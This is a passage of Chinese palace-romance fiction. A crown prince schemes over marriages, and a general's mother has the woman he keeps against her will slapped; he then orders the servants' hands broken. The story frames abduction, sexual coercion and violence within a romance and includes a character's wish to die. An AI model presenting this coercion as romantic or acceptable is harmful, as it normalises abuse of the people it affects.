说完便下了陛阶,带着宫人们离开了太和殿。
此时,先前替张春辩驳的六皇子一派,彻底闭上了嘴,再无一人敢替他说话。
朝会散去后,闻景还未来得及下完殿外的玉阶,便被一个小内侍从身后喊住。
“闻将军!闻将军!”
闻景停住脚步,回头一看,那内侍已弓着身子,跪下朝自己道:“闻将军请留步,太子殿下请您到偏殿一叙。”
沈俞静要见他?
闻景虽不知沈静风要见他做什么,但既然他开口相邀,自己也没有拒绝的理由。
“既然是太子殿下召见,还请公公在前引路。”
“奴才遵命,闻将军这边请!”
到了太和殿偏殿外,闻景听着耳边的通传声,徐徐解下了披风。
“闻景来了?快请进来!”
沈俞静放手手中的朱笔,朝内侍道。
话刚落音,便见闻景已经踏入殿中,朝他行礼道:“臣闻景,参见太子殿下!”
“闻世子不必多礼,快起来坐下吧!”
“谢太子殿下赐坐!”
闻景起身后,便走至椅子上坐下,望向案后的沈俞静。
沈静风见自己这位表弟仍是从前那般漠然少语,一时也不好贸然提起他邀人过来的目的,只寒暄着与闻景说了几句关于西北的兵事,才打开了话头。
“听说舜华姑姑向父皇借了菱花庄,要举办一场赏梅宴,不知定在哪日?”
闻景见他绕了半天圈子,才提起正事,不由摇头道,“启禀太子,这是母亲安排的花宴,臣并不知具体在哪一天,还请太子殿下不要怪罪!”
“哎!你忙于公务,不知定哪一日也情有可原,只是阿谣闹着想去,所以才让孤问问世子你。”
闻景听闻五公主要去他娘操办的花宴时,只好回应道:“待臣问了母亲,便让母亲给五公主下份请帖。”
沈俞静却不依不饶道:“阿景今年已二十有四了吧?若是换作其他勋贵子弟,怕是早就当爹了,只是不知阿景替我大齐征战这些年里,可有什么心仪之人?说来好笑,阿谣自四年前见过阿景在秋猎时的风采,便念念不忘。”
“女大不中留啊!若是阿景对她也有意,不如孤去替你们求一份
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父皇的赐婚旨意如何?”
“请殿下恕罪!”
闻景当即起身拱手告罪道,“臣不过一介凡夫俗子,哪里可以引得五公主青眼?还请太子殿下莫在打趣臣了。”
“臣托大,在臣眼中,五公主是臣的妹妹,臣不敢妄想!”
沈静风听得闻景的推辞,只得叹息道:“原来阿景对阿谣并无男女之情,也罢,早些问清楚也好,免得那丫头不肯死心。”
“阿景,你拒绝阿谣,是因为有心上人了吗?”
沈俞静想来想去,也只得出这个结论。
闻景见他话问得直白,不禁只能点头道:“正是。”
听闻此话的沈俞静,便不禁好奇道:“不知阿景中意哪家的闺秀?你别多心,孤不过就是有些好奇。”
好奇闻景这种,自年少时就泡在军营的世家子弟,会喜欢什么样的女子。
闻景这人虽是世家出身,但性子冷峻,没听说过他有什么喜欢的女子。更不提他常年征战沙场,有些胆小的贵女见到他,宛若见到煞神般。
闻景低头沉思片刻后,才回答道,“殿下若是好奇,等臣发喜帖时,便会知道了。”
咦?
这是还卖起关子来了?
沈俞静倒是无所谓闻景会娶谁,反正他不娶阿谣就好。
“好,那我就等你的好消息!”
“臣就谢太子吉言!”
沈俞静想问的话,已经问完了,便指着案桌上高高垒起的奏折道,“阿景先去兵部忙吧,我也有一堆折子要批,就不多留你了。”
“小乌,去送送世子爷。”
闻景见他发话,也拱手道:“谢太子殿下,臣告退。”
沈俞静见闻景的背影已经消失在殿门,则侧目望向一旁的云母屏风。
只见须臾间,缓缓从那屏风后走出一位白须老者来。
他抚着须,一脸笑意道:“方才老夫听着殿下提起闻世子的年纪,也想起殿下您比那闻世子只大月份,您不也还是未娶太子妃吗?”
皇帝膝下的几位皇子,都只纳了侧妃,连太子沈俞静也只有一位莫良娣在身边伺候着。
沈俞静听闻此话,却低头抚弄着腰间垂下的半块玉珏,眉眼却不复先前的和煦。
“李太傅,孤也想知道父皇到底是怎么想的?”
“殿下慎言!”
李岩眼皮一跳,心底却不禁暗暗嘘唏起来。
若皇后娘娘的母族还在,想来太子的婚事也不会耽搁至此。罢了,都是陈年旧事了,待大事落定,再想这些也不迟。
沈俞静像是听到什么笑话,从椅子上起身,踱着步子走至李岩跟前,才开口道:“听说父皇中秋那夜在凤梧宫里,待了整整一夜。都这么多年过去了,他还是这副假模假样,当真让人恶心!”
沈俞静的生母,先皇后白氏,早在母族被抄家灭门后,便以三尺白绫结束了性命。
如今皇帝并未再立皇后,只由柳贵妃打理宫务。
他厌恶极了皇帝这副嘴脸。
若不是白氏一族的鼎力支持,哪里轮的上他父皇这种庸懦之人坐上帝位?
可笑的是,待他父皇登上帝位后,做得第一件事就是诛杀白家满门。他母亲在凤梧宫得了消息,便抛下只有三岁的他和尚在襁褓内的阿谣,将自己悬在了梁上。
20. 舜华郡主
是怨?
还是恨?
沈俞静无从得知。
只知他父皇每逢节日,都会去那早就空荡荡的宫殿里,待上一整宿。
“说起凤梧宫,老臣倒是想起白家在灭门前,他家的四小姐还与殿下有过婚约。若是……”李岩说到此处,只深深叹了口气,”想来殿下膝下早就儿女成双了!”
“太傅,你说父皇是不是也怕我们几个儿子,像他一般娶了母族强劲的妻子,再如他一般夺权篡位?”
沈静风说到此处,眼角都烧红了,“不然,为何他就是迟迟不肯替我们迎娶正妃?”
“孤饱读诗书,从没见哪朝的太子到了这个岁数,膝下都还空空,这是也就是孤的父皇,才能做出如此下作的事!”
李岩原本还想劝沈俞静冷静,恐隔墙有耳。
只是看到往日里最是温文儒雅的太子,面带讥讽吐出最后一句时,也忍不住想痛骂皇帝几句。
他压制住内心的愤懑,久久才道出一句:“静待来日。”
沈静风也知道自己方才情绪有些激动,半晌后才缓缓道:“孤娶不娶太子妃都已经不重要了,孤现下只想替阿谣寻个好人家,不想她嫁入郑国公府那个污浊之地。还好方才闻景一口拒绝,不然,孤还要头疼该怎么除掉他。”
“殿下想动闻世子?”
“之前想,现下嘛,就看日后他闻景究竟能不能为孤所用,孤内心里还是很想他弃暗投明,毕竟这位可是沙场上不可多得的一名猛将,我们大齐若是再多几个闻景这种的将才,又何愁不能早日一统天下呢?”
李岩也赞同道:“这闻世子能文能武,倒比他爹闻言敬有才能多了,若他不是闻家的子弟,倒也与五公主相配。”
闻家的人,不配与白家的血脉有任何瓜葛。
沈静风听闻后倒是朝李岩道:“听说沈俞风前些日子,请了闻景去华安殿里坐了坐,也不知是何重要的事,竟让人在闻景名下的私宅里足足候了一个多时辰,才等到闻景愿意去?”
“殿下是说,闻世子这次会出手帮六皇子?”
沈静风却眯起凤眼,悠然道:“孤猜,闻景今日就会去江府,只是他去不知是替沈俞风求情呢?还是会将幕后黑手直接和盘托出,也免得江华楠寒冬腊月里操心费力?”
“殿下是担心闻景—”
沈俞风喉间发出一声轻笑,随即打断道,“不,孤只担心他不去江府。闻景在这个关节上去了江府,那就是他自己找死!”
任他再受皇帝宠爱,但凡敢插手此事,他沈静风都叫他万劫不复!
待闻景在宫门骑上马,往江府的方向走时,此时的日头已经升至半空。
今日是个难得的晴日。
闻景一路骑着马,慢慢行着,心里却想着叶含珍。
这个时辰,她应该也到寺里了。
也罢,待他再去江府走一趟,便可正好去宝光寺接她。若是时辰早,或许还能带她去求个平安符。
屋外的院子里盛满了暖洋洋的日光,连屋内都被照得雪白亮堂。
叶含珍已经带着几个丫头在宝光寺的大殿里敬过香,此刻她正静静立在支起的窗户前,遥望着院中盛放的腊梅。
她听闻景说宝光寺的后山有腊梅林子,却没有想到,这宝光寺的院子里,都遍植着各色品种的腊梅。
越是寒冷的天气,腊梅的幽香便越发馥郁。
“小姐,听说这宝光寺的后山有一大片腊梅花林子呢!不如我们陪你去后山走走?”
白枝一脸献宝道。
她和青渚在叶含珍身边,不止是要奉命保护她的安危,还要想尽法子,让她看她们的主子顺眼一些。
这样,她们这些贴身伺候的人,日子也才会好过一些。
叶含珍听闻白枝的话还未说什么,便见到一旁的雪青和青莲都早已露出一副向往不已的模样。
“小姐,等那奉茶的小师傅送了茶水来,咱们便让他带路,去后山走走吧!”
“好啊!”
叶珍珍见几个丫头都是一副雀跃盼望的模样,忍不住在雪青鼻间点了点,失笑道,“等会再要一把剪刀,剪几只回去插在花瓶养着,你们房里也要摆。”
此话一出,喜得身旁的几个丫头相视一笑,齐齐道:“多谢小姐!”
叶含珍也被她们脸上的笑意带着弯起了眉眼。
她不在乎去看什么风景,只求能得一丝喘息的机会,而不是日日锁在那深宅里。
还有最重要的是,闻景不在这里。
“几位施主,热茶来了。”
叶珍珍回头见一小沙弥端着几杯冒着热气的茶盏,站在门口,当即就让青莲上去接过。
“多谢小师傅,只是天寒地冻,可否带门口的侍卫大哥们也去饮一杯热茶?”
叶含珍端起茶盏,视线越过徐徐水雾,朝小沙弥道。
“那就请他们随贫僧来吧。”
玉风站在门口,拱手谢道:“多谢小姐美意,只是我们奉世子之命,不得随意离开小姐身旁。”
叶含珍见玉风拒绝离开去喝热茶,只得朝青渚道:“既然他们身上有世子爷交代的差事,那就劳烦你和青莲去随小师傅,提壶热茶来分给侍卫们。”
说完又朝玉风道:“这样总可以了吧?”
叶含珍从前冬日里随叶夫人上香时,虽也带着丫头婆子,但却没有带过这么多的随从。
光侍卫就有二十多人,还不算侍女。她没有想到,闻景会安排这一大行人来护送她上香。
这样肃寒的天,朔风阵阵。
她和丫头们倒是坐在屋里烤着炭盆,可是只要一想到外面有二十多个人守着她,叶珍珍便也不好连口热茶都不给人喝。
“多谢小姐,”玉风拱手道,”只是这种小事何必劳动两位姑娘?属下让人去取壶热水,分给大家就行!”
叶含珍见他终于松口,也不再纠结到底谁去取热茶给侍卫们,只点点头,便慢慢小口小口啜饮着茶水。
*
“这是素心腊梅,香气浓郁,朵大而舒展。”
叶含珍带着人慢慢在宝光寺后面的腊梅林子里转着,一边给几个丫头讲腊梅的品种。
“小姐,这应该不是素心腊梅了吧?”
青莲指着一旁满树皆是紫色蕊心的腊梅道。
叶含珍上前摘下一朵,凑在鼻间轻嗅后,才道:“这是罄口腊梅,花心紫,花瓣圆润无角,香气也不输素心腊梅。”
她说完继续朝前走去,几个丫头也跟上。玉风则带着侍卫们,不紧不慢得缀在后面。
“花大色黄,形似金钟,这是金钟腊梅;花瓣尖而小,内轮花瓣有紫纹,这是九英梅;花朵内侧有如蔷
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薇花瓣般的细腻条纹,则是‘金丝’腊梅。”
叶含珍一边指着路从两旁的腊梅树,一边给几个丫头细细讲起腊梅的品类,只唬得几人越发崇拜得望着她。
见几人眼里皆是流露着佩服的神情,叶含珍面上也流露出几分闺阁贵女的娇憨得意:“我哥哥曾送给我一本《花谱》,里面就对各类梅花品种有详细的解说。只是没想到今日有幸能在这寺里,一一亲眼见到。”
只是她方说完这话,脸上的神情就变了变。
那本《花谱》也在她上京的行李里,也不知是她娘放的,还是她哥哥放的。如今想起这些,倒是彻底失了赏花的兴致。
雪青同青莲见她脸上的笑意蓦然凝住,便知她又想起了大少爷。
只扶着她徐徐接着走下去。
“小姐,待回府后就给奴婢们讲讲那《花谱》上记载的各色花卉吧,也免得奴婢们不识得花草,日后惹出笑话。”
雪青央求道。
青莲则打趣道:“只怕小姐才讲到第一页,雪青你就睡着了!小姐还是讲给奴婢与白枝青渚听吧,免得气坏了您!”
“青莲!你—”
雪青不服气道。
叶含珍被她们吵得脑仁疼,只得开口制止道:“好了,小姑奶奶们别吵了,再吵,我就罚你们去剪花!”
雪青却一脸笑容道:“小姐,我最喜欢替小姐剪花了!尤其是这腊梅,我当真是喜欢的很!”
叶珍珍被她们这么一闹腾,神情也不似方才的低落。
也只含笑道:“那就罚你多剪几枝,不给你房里放。”
雪青登时便苦着一张小脸,哀求道:“小姐,奴婢错了。”
“小姐罚得好,让这小蹄子得意!哼!”
青莲附和道。
叶含珍就这么被两日一左一右得扶着逛完了后山,却在出腊梅林的月洞门前,被一小沙弥拦住。
“阿弥陀佛,敢问这位女施主可是姓叶?”
叶含珍见这小沙弥眼生,不是之前招待她们的那个沙弥,只回头望向身后的玉风。
玉风见叶含珍停驻在月洞门前,只以为有人为难她,当即疾步上前,却在看清小沙弥身后站着的老妇人时,呆滞住。
只见常年伺候在舜华郡主身边的李嬷嬷,朝叶珍珍屈膝道:“叶小姐,我家郡主娘娘有请。”
叶珍珍虽没见过李嬷嬷,但听是她家主子是郡主,身后的玉风是闻景身边的人,见他一字不语,便也将眼前老夫人的主人猜得八九不离十。
只是她有些好奇,不知闻景的母亲舜华郡主,今日特意来此处等她,是要对她讲些什么。
猜也没有用,见了不就知道了?
“还请嬷嬷带路。”
李嬷嬷见眼前的丽人披着华贵的火狐披风,顶着一张莹润美面,一副从容有余的样子,便知她已经猜到自己的身份。
当即肃着一张老脸道:“叶小姐这边请,不过她们都得留在这里,包括玉风侍卫。”
这是连丫头都不许自己带进去?
叶珍珍虽不满,但见玉风都不敢开口,也只得默默朝月洞门里走了几步,就看见一美妇披着滚金边毛绒的披风,站在小院厢房内的窗边。
厢房门口只站着四个穿鸦青夹袄,白绵裙的丫头。
那美妇见她望过来,便转身朝里走去。
21. 子不教父之过
她虽恨极了闻景,但思及这是闻景的生母,也许自己能借舜华郡主的手,达到自己离开闻景的目的,这一面也许正是机会。
想来这天下间,没有哪个做母亲的,能容忍自己的儿子还未成亲,就养外室。
这舜华郡主出身皇族,想必更重规矩。
叶含珍稳下心弦,只回头朝雪青几人,安抚般得笑了笑,便徐徐走向那美妇所在的厢房。
方行至门口时,就有丫头麻利得掀起了帘子,替她推开了门。
她微低着头,便缓步进了屋。
屋内与外间截然不同。
早在她进屋前,就有丫头在里面关上了窗户。厢房里不仅点了炭盆,还在椅子前备下了脚炉。
叶含珍身上的披风,也在进屋后被丫头细心解下,只穿着袄裙。
整个人被这屋里的热气一烘,当即就忍不住用手绢捂住了口鼻,狠狠打了两个喷嚏。
“叶小姐这是受凉了?快过来坐下吧,这里给你备了暖炉。”
叶含珍两个喷嚏打完,眼里的水汽还未散去,便听到了那美妇关怀倍切的话语,只朝上座屈了屈膝,定定道:“临州刺史叶孝义之女叶含珍,见过舜华郡主,郡主千岁千千岁。”
“方才是含珍失礼了。”叶含珍起身说完,便垂下眼眸。
“嗯,是个爽快的丫头,我倒是没想到,”舜华郡主见她仍站着,便指着一旁面前放着脚炉的椅子道,“别站着了,快坐下暖暖脚,不然你今日回去,怕是要伤风。”
虽是第一次见闻景的生母舜华郡主,但叶含珍没想到她如此细心,不仅给自己贴心准备了暖炉,还免去自己的失礼之罪。
这让她有些出乎意料。
“小女谢舜华郡主关怀。”
叶含珍说完,便又朝舜华郡主福了福身子,才缓缓走向座位坐下。
直到将脚伸进暖和宜人的脚炉里,叶珍珍才感觉身上的寒气渐渐消退。
舜华郡主早在叶含珍进屋前就仔细打量过她,眼下更是毫不掩饰得将人从头到脚,看了个仔仔细细。
她是闻景的母亲,她也很好奇自己那个不肯碰女子的孽障,到底喜欢什么模样性情的女子。
环肥燕瘦,妩媚清纯,什么样的女子她没有往闻景房里塞过,只是都被他又转手送了回来。还大言不惭道,说他若是有喜欢的女子,他自己会出手,不必她乱操心。
本来就生的一副冷心冷情的模样,再加上在战场上浴血奋战,京中多少闺秀见了他,都只能捂着心口,软着腿离他远远的。
“看叶小姐的神情,倒是一点也不意外我会来见你,难不成你早就知道会有这么一天?”
叶含珍慢慢收拢十指,将修剪圆润的指甲嵌在掌心里,缓缓道:“这里是京城,无论何时何地见到郡主,小女都不意外。”
她在中秋之后,便问过私下里问过白枝和青渚,有关于郑国公府的细碎之事。那两个丫头许是见她终于开始关心有关于闻景的事,便将她问及的事,俱详细道来。
只恨不能拉着她的手,上郑国公府去认人。
舜华郡主飞扬着眉梢,不在意道:“看来叶小姐不仅性情爽直,连口齿才智都不是一般贵女能比的。我今日来只是想看看景儿藏在私宅的女子,会是什么狐媚货色,没想到竟会是叶小姐这种贞静娴雅的官宦小姐,倒是我多虑了。”
她的眼神不住地在叶含珍身上流连,纤腰丰臀,瞧着倒是个好生养的身子,只是不知他们二人现下的关系,是否如她所愿。
“叶小姐,你不喜欢景儿吗?”舜华郡主一双美目流转,紧紧盯着眼前眉间冷淡的女子。
“舜华郡主为何觉得我不喜欢世子?”叶含珍闻言心下不免漏跳一拍,但仍强稳住了神智反问道。
不过她眼神里的慌乱,却瞒不住舜华郡主这种久浸宫闱的妇人。
舜华郡主道:“因为你一点也不怕我。”
今日趁着闻景不在宝光寺陪着人,私下叫人拦住了她与自己相见,她虽有些慌神,但毫无畏惧之意。反而在这女子眼中,舜华郡主见到了一抹希冀之色。
怕她?叶含珍心下瞬间豁然开朗。
若是换成其他女子,不是畏惧舜华郡主处置了自己,就是乞求她成全两人。
哪里会是自己这种先在她面前失礼,还能稳稳将脚伸进炉子里取暖,和她从容应答的女子?
她低头深吸了一口气,才鼓起勇气道:“郡主除了想见小女,应该还有其他话要对小女讲吧?郡主不妨直说。”
“听说你原本是有婚约在身的?”
一听到舜华郡主提起她的婚约,叶含珍面上的神情不禁凝滞起来,心底的酸楚蓦然翻江倒海,半晌后才轻嘲道:“有婚约又如何?还是得是世子爷权势滔天,夺妻为妾也不在话下。”
她再有几个月就可以嫁给自己心仪多年的男子,可是却被她儿子毁得干干净净。即便是受深闺教养多年的叶含珍,在此刻也不免朝舜华郡主讥讽起来。
舜华郡主是闻景的母亲,那她就有责任教养好他。
“哦?听你这意思,你不是心甘情愿跟着景儿的,而是景儿抢来的?”
舜华郡主早就在中秋之后,在闻菲口中得知了叶含珍的存在。便让人细细查过她的底细,知道她与临州别驾府的二公子订过亲,只是被自己儿子搅黄。
不止如此,还将人弄进了他在梨花巷的私宅,日日都不肯回国公府歇息,只在那里与这女子厮混。
只是令她没有想到是,这女子竟不是自愿的。
叶含珍听闻舜华郡主口中不善的语气,便知她是极不喜欢自己,强挣扎着站起了身子:“小女有婚约在身,实在不是世子爷的良配,求郡主做主,放小女走吧!”
“你和景儿已经有了首尾,别说我不会放你走,就算我放了你,你那未婚夫家也不会再履行约定,你这是何必呢?还不如老老实实跟着景儿,待景儿娶了夫人后,也给你留个一子半女傍身,今后一辈子的荣华富贵也就有了。”
在舜华郡主眼里,叶含珍虽是官家出身的女子,那也不配由她开口拒绝闻景。
她儿子是郑国公府的未来掌权人,又深受皇恩,能让她这种早就失了清白的女子,做闻景的房里人,已经是天大的殊荣。
竟然妄想她会赶她走?
叶含珍原以为舜华郡主见她,是要赶她离开的,哪知她却出乎意料得劝起自己,留在闻景身边。
她茫然得抬眼望向高高在上的美妇,只见她穿着一身秋香色织金妆花绣缠枝莲纹袄裙,用极蓬松柔软的白狐毛滚了边,而垂在眉心的红宝石,正散发着熠熠光辉,将她越发显得不怒自威。
柳眉下的一双美目,也正灼灼望着自己。
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不亏是亲母子,连这盛气凌人的气魄都如出一辙,可惜,她却不怕他们。
叶珍珍咽了咽舌根处的苦涩,颤着嗓音道:“原来,郡主今日不是来赶我走的,而是来替闻景当说客的。子不教父之过,我本以为郡主您是闻景的长辈,他犯下的错,自然会由您这个长辈出手纠正,可惜没想到是,您却是他派来的说客。”
她说完后,便低低笑了起来。只是这笑声传入舜华郡主耳中,便如一个个巴掌落在她颊上。
此刻莫说舜华郡主气恼得美目怒瞪,就连她身边侍立的李嬷嬷也咬起了腮帮子。
叶含珍眼角早就滚落了无色的泪珠,砸在她白皙丰盈的手背上。
“郡主娘娘倒是爱子心切,竟能含笑让人应下这种卑劣之事!可我叶含珍,也是我娘亲心尖上的珍宝!”
“我一个清清白白的女儿身被闻景玷污不算,没想到他的母亲,舜华郡主你竟能若无其事得劝我从了他,当真是母子连心啊!可惜,你们忘了,你们的权势再大,也大不过死人!”
“放肆!”
舜华郡主气极,她猛然扬手摔下手里的茶盏,起身朝身旁的侍女道:“这丫头不知好歹,竟敢口出狂言!来人啊,给我掌嘴,直到她不敢再胡说八道为止!”
这话刚落音,李嬷嬷就一脸怒气得带着两个侍女上前,将叶含珍压在地上跪下。
叶含珍双肩被两双手压住,早已不是先前那副座上宾的待遇。
她仰起满是泪痕的玉脸,神色倔强:“我叶含珍哪怕是嫁给贩夫走卒,也不会给闻景做妾!是,我是被我父亲献给了闻景,但是不代表我的灵魂也属于他!”
“郡主生气,是气我不知好歹拂了您施舍我做妾的好意,还是气您自己没有管教好闻景那禽兽,任他祸害良家妇女?”
叶含珍不顾舜华郡主早就铁青的脸色,流着眼泪大笑道,“郡主要教训我,可以尽管放手来,如果您是气自己没有教导好闻景,那我也就不算白挨这场打了!”
这字字珠玑几乎要将舜华郡主的脸皮扯下来,踩在地上。
她视若珍宝的儿子,落在这女子嘴里便是禽兽,连他们做父母的,都一同落了不是。
不就是个偏僻州府的官家小姐而已,让她做郑国公府的妾,也算是抬举她了。
“打!打到她低头认错为止!”
舜华郡主一双美眸早已是熊熊怒火,她薄唇悠悠飘出一句话,“不好好教训教训她,倒真的让她以为自己是个阿物。”
李嬷嬷得了舜华郡主的话,当即就挽起袖口,将叶珍珍的下颌抬起,便朝叶含珍脸上扬去。
“啪!”
“啪!”
两个巴掌下去,叶含珍原本莹白的脸上,登时紫胀红肿起来。
“打啊!若是郡主今日在这里打死了我,也算是遂了我的心愿了!我宁愿今日死在郡主手里,也不愿意再回那禽兽的私宅里,任他折辱!哈哈哈哈!”
死了也好,总好过人不人,鬼不鬼得活着。
连自己的至亲都不要自己,我还拖着这副肮脏的身子活着干什么?
叶珍珍忍着双颊上火辣辣的剧痛,朝柳眉倒竖的舜华郡主嘶吼道。
舜华郡主哪里见过敢如此顶撞自己的小辈,怒目圆睁道:“李嬷嬷,再赏她两个巴掌!今日不让她长长记性,往后入了府还得了!”
22. 不是她教的
“是,老奴遵命。”李嬷嬷沉声道。
只是这次她才扬起手时,门就被人一脚从外面猛然踹开。其力道之大,不仅让那两扇门摇摇欲坠,还将一屋子的人吓了一跳,只齐齐朝门口看去。
闻景办完事,骑着马兴冲冲走到宝光寺山门前,就看见了郑国公府的车驾。
还有他娘的随从。
当即暗叫一声不好,便急急翻身下马,朝寺里奔去。好在遇到了玉风派出寻他的侍卫,这才堪堪赶到。
叶含珍跪在地上,也听到身后传来的巨响,随之而来的是一阵刺骨寒风,扑到她整个后背。
“住手!”
闻景一声怒喝后持着马鞭,几步跨入屋内,抬脚就将叶含珍身旁的两个侍女踹倒在地。
随后又朝浑身战栗的李嬷嬷甩了两鞭,厉色道:“反了天了!爷的人你也敢打!”
那李嬷嬷被闻景手里的马鞭打翻在地,与那两个侍女齐齐呜咽着,却不敢有一句话。
舜华郡主没想到闻景会来的如此快,只得清了清嗓子道:“是我要李嬷嬷教训她的,你要发火可以冲娘来。”
闻景闻言却只扔了手里的鞭子,将脱下的大氅将瑟缩着,趴在地上的叶含珍裹起抱在怀里,便抬脚往外走。
“站住!”
舜华郡主见人根本不理会她,当即大声喊道,“娘不过是替你教训教训这个不识好歹的女子,你何必如此大发雷霆,连娘的话都不理?”
闻景不理,仍朝外走。
舜华郡主一把抓起桌案上的茶盏,直直朝地上掷去。
“闻景!你知不知道她方才在我面前说了什么?”
舜华郡主怒火冲天,她是替他教训人,又不是赶她走,他又何必如此伤她这个做娘的心?
此话一出,闻景倒是停住了脚步。
“她说了什么不重要,重要的是反正都不会成。儿子知道娘今日不是来赶她走的,只是,我和她之间的事,不是外人几句话就能转圜的,”闻景并不回头,只直勾勾盯着叶含珍紫胀的脸和裂开的嘴角,“您是好心,但是就是不该动她。我会记着这笔帐,让她们以后见了我和珍珍,就躲远点,否则下次我就直接宰了她们!”
“玉风,将她们碰了小姐的手砍下来喂狗!”
门口站着的玉风,看了看屋子内脸色发青的舜华郡主,硬着头皮道:“是,属下遵命。”
还捂着鞭伤的李嬷嬷,和那两个被闻景踹倒在地的侍女在听到玉风的话时,瞬间便爆发出惊人的哭喊声。
舜华郡主也没有想到,不过打了那小官之女几巴掌,还是替他出气,闻景就要发作她身边伺候的人,浑身气得发颤:“好啊!世子爷现下果然是说一不二,连我这个娘都不放在眼里!闻景,你不能动她们!”
闻景哪里想与她争执,怀里人早含着眼泪闭上了眼,不肯再看他一眼。
他压制心里那股想要嗜血的冲动,转身望着还站在门口的玉风,沉声道:“玉风,你是死人吗?”
“今日,必须见血。”
舜华郡主简直拿他没有办法,只得高声道:“叶小姐,你听见了吧?闻景要为你报仇,要砍了她们的手!”
“景儿,她说你是禽兽,是我们做爹娘的没有教好你,才让你祸害了她!”
舜华郡主将叶含珍方才的话一一转述,却只见闻景头也不曾回,几乎气得两眼发黑。
叶含珍不想理会这对母子,也不愿听到他们令人厌烦的声音,只紧紧闭着眼,任由眼泪划过已经麻木的脸庞。
走了半天山路,又挨了顿巴掌,她真的很累,不想再待在这里。
“走吧,我不想看见你们母子惺惺作态。”
闻景气得发疯,此时却不敢再乱动她,只低吼道:“玉风,你亲自动手,将她们碰过她的手一一折断,一个也别落下!”
说完便头也不回得带着叶含珍离开。
而屋内的舜华郡主也松了一口气,只虚虚跌坐在身后的椅子上,脑海里一片茫然。
真的是她做错了吗?
出了屋子,外间原本零零散散洒下的雪花,早就在鹅黄幽暗的腊梅花蕊上,积了一层薄雪。
叶含珍被闻景的大氅裹得严严实实。她被放在马背上,很快身后就贴上来一具宽厚的胸膛。
嘴角的血,已经闻景拭去。只是脸颊越发肿胀起来。
叶含珍一想到方才雪青和青莲满面泪痕的模样,她已经挤不出笑容来安慰她们。
她虽只是个女孩儿,但在临州时,内有爹娘哥哥呵护疼爱,外有温行松这么个温和如玉的未婚夫婿护着。
哪里吃过这种折辱人的苦头?
她紧紧闭着双眼,眼睫也不停地颤抖着。落在她脸上的雪花,很快就与泪痕交融。
也许是这雪花的功劳,脸上的刺痛,慢慢变成麻木。
只是一颗心皱缩得发疼,只能将身子的重量靠在那人的温热的胸膛上。
闻景骑着马抱着人,心急如焚得往梨花巷赶去。
待他将人抱着放在炕上坐下时,才急喘着粗气,目不转睛得看着叶含珍脸上交错的指痕。
闻景身上的雪花早就浸湿了衣衫。
叶含珍还好,被闻景的大氅挡去了不少寒意。而闻景的外袍被屋子的地垄一熏,顿时越发寒意渗人。
留守在屋内伺候的丫头们,见两个主子手忙脚乱得从外面赶回来,连忙伺候着人更了衣。
闻景端着热腾腾的姜汤,一勺一勺往叶珍珍唇边喂去时,后面跟着回府的玉风已经带着大夫候在门外。
“等喝完姜汤,就让大夫进来给你瞧瞧。”
闻景见叶含珍咽下最后一口姜汤,又将茶盏递在她唇边:“漱漱口。”
而此时的叶含珍,不复往日的乖张尖锐,只如木偶般,任闻景提拉使唤。
她低头含了一口茶水,很快就有丫头跪在炕前,双手高举着盂盆。
叶含珍却倏忽抬头看向闻景,含着茶水,微微翘起嘴角。
“你……”
“噗!”
闻景没想到她这会居然会对他笑,正欣喜得要问出口时,却被叶珍珍口中带着浓浓姜味的茶水,喷了一脸。
连着新换上的锦袍上,也沾湿不少。
而屋子伺候的下人们更是连大气也不敢出,惊慌失措得低下头,不敢乱看一眼。
整个屋子里寂静一片,只听得外间的雪花,簌簌落在院子里枯枝上的声响。
闻景抬手抹去脸上的水渍,静息片刻后猛然发出一声大笑,随即很快止住了笑声,朝咬着嘴唇的叶含珍道:“出气了吗?出气了,就乖乖让
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大夫瞧瞧你的伤。”
他扭过头,朝一旁垂眸侍立的青渚道:“去请大夫进来。”
叶含珍见他毫不在意时模样,只恨自己手无缚鸡之力,竟一时只能想出这种法子,替自己出气。
趁着大夫替叶含珍瞧伤的时候,闻景才接过白枝手里递来的帕子,囫囵擦了擦额间发丝上的水滴。
他将帕子往托盘里一扔,沉声道:“大夫,她的伤可要紧?”
“回世子爷的话,小姐脸上的伤得用些活血养颜的药擦,至于口中的伤,”大夫谨慎道,“可以吃些温凉之物,过几日也就能大好了。”
闻景听完,点点头:“白枝,去取香泽露来替小姐敷脸,送大夫出去吧。”
白枝应下,很快就将大夫送至门口,又让小丫头寻了香泽露出来。
“世子,药来了。”
白枝将一只玉瓶轻轻放在案几上。
闻景拨开瓶塞,朝一旁挪了挪位置,便将那露往手心里倒了些。
等彻底捂热后,才朝叶含珍面颊上贴去。
这会的叶含珍又如先前一般,只任凭闻景给她伤处上药。
直到闻景上完药,净手时,叶含珍才出声讥讽道:“世子爷真是情深意重,若是换个女子,恐怕只会被世子爷方才的悉心照料,感动得痛哭流涕。只可惜,演得太过,只让人觉得恶心!”
闻景不紧不慢得擦干手,朝一旁伺候的下人摆了摆手。
“都下去吧,这里有我就行。”
雪青和青莲见闻景不像是要发火的模样,也只得随着众人退出了暖阁。
叶含珍见人都走了,只有闻景还凑在眼前,不由蹙眉道:“你滚开,我现下不想看见你!”
“这里是我的府邸,你想让我滚去哪里?”
“那我滚!”
闻景听她说要走,脾气也顿时上来了。
当即就制住她推开自己的双手,俯身将人压在身下,神情激动道:“你想去哪儿?”
“去哪里都行!只要不用见到你就行!”
“哦?那可不行,我是你夫君,你不见我怎么行?还有,就算你不想见我,我也离不开你。”
闻景将唇凑在她因气恼,而浮起绯色的耳朵旁,徐徐道:“抱歉,今日是我被人绊住了脚,所以才迟来了会,可惜没想到就这么一会,就让人伤了你。”
“闻景,我当真是没有想到你母亲竟和你一样不讲理!想来你这卑劣恶毒性子,是天生的吧?不然,你们母子怎么能说出一模一样的话?”
儿子抢别人的未婚妻,身为母亲不予制止,居然还同出一辙得劝她认命。
这、这简直令人发指!
闻景听她说是舜华郡主教坏了自己,登时抱着人,笑个不停。
直到眼泪花都模糊了视线,他才回道:“这些可不是她教的。”
那年,他去书房寻父亲时,撞见了衣衫不整藏在父亲书房里的妾室。那妾室见进来的是他,只好拢着吹弹可破的衣衫,一脸失望缩回了屏风后。
他母亲舜华郡主彼时才诞下闻菲,还未出月,却见父亲的宠姬已经开始讨父亲的欢心,小小年纪的闻景虽只是孩童,但也气得浑身发抖。
那宠姬见他如此气恼,便站在屏风后,扬着清脆的声音道:“世子爷很生气吗?”
23. 去夺!去争!
